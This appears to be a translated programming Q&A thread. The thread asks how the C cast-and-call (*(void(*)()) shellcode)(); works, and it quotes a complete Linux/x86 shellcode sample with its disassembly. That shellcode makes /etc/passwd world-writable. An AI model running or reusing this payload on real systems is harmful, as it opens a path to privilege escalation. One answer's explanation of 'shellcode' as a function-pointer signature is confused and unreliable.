很抱歉,如果这听起来微不足道,但是有人可以向我解释这是什么吗?
(*(void(*)()) shellcode)();
我认为第二个*
将void
设为指针,但是第一个*
?一个铸件?并且()
用于调用某些函数?
源代码在这里:
/*
# Title: Linux/x86 chmod('/etc/passwd',0777) - shellcode 42 bytes
# Platform: linux/x86_64
# Author: Mohammad Reza Espargham
# Linkedin : https://ir.linkedin.com/in/rezasp
# E-Mail : me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
# Website : www.reza.es
# Twitter : https://twitter.com/rezesp
# FaceBook : https://www.facebook.com/mohammadreza.espargham
Disassembly of section .text:
00000000 <.text>:
0: 6a 0f push $0xf
2: 58 pop %eax
3: 68 90 90 ff 01 push $0x1ff9090
8: 59 pop %ecx
9: c1 e9 10 shr $0x10,%ecx
c: 68 90 73 77 64 push $0x64777390
11: 5b pop %ebx
12: c1 eb 08 shr $0x8,%ebx
15: 53 push %ebx
16: 68 2f 70 61 73 push $0x7361702f
1b: 68 2f 65 74 63 push $0x6374652f
20: 89 e3 mov %esp,%ebx
22: cd 80 int $0x80
24: b0 01 mov $0x1,%al
26: b3 01 mov $0x1,%bl
28: cd 80 int $0x80
*/
#include <stdio.h>
#include <string.h>
int main(){
unsigned char shellcode[] = "\x6a\x0f\x58\x68\x90\x90\xff\x01\x59\xc1\xe9\x10\x68\x90\x73\x77\x64\x5b\xc1\xeb\x08\x53\x68\x2f\x70\x61\x73\x68\x2f\x65\x74\x63\x89\xe3\xcd\x80\xb0\x01\xb3\x01\xcd\x80";
fprintf(stdout, "Length: %d\n\n", strlen(shellcode));
(*(void(*)()) shellcode)();
}
答案 0 :(得分:11)
它将shellcode
转换为函数指针,返回任何内容并获取未指定数量的参数。然后调用它。
void (*)()
是一个函数的类型,它不返回任何内容,并且需要一些未指定数量的参数。
/* | --------------------| Cast to a function pointer
| | */
(* ((void(*)()) shellcode)) () /*
^ ^ call the function through the pointer
|-- dereference the pointer */
答案 1 :(得分:1)
shellcode是函数指针的签名。它用于查找基指针并添加一些偏移量来查找函数指针。
考虑以下代码,它是相同的:
#include <iostream>
void anotherFunction()
{
std::cout << "Im being called" << std::endl;
}
int main()
{
typedef void (*funcPtr)(void);
funcPtr f=&anotherFunction;
f();
std::cin.get();
return 0;
}
这也是同样的事情
(*(void(*)(void))&anotherFunction)();
除了c的签名。